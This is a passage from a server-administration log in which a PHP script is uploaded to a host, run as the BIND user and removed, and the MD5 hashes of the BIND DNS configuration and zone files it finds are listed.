MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:36:09: Establishing a connection
2026-04-28 10:36:17: Establishing a connection
2026-04-28 10:36:17: 

PUT: /tmp/pkp687809

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:36:17: 

runuser -l bind -s /bin/bash -c '/tmp/pkp687809; rm /tmp/pkp687809'

2026-04-28 10:36:17: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
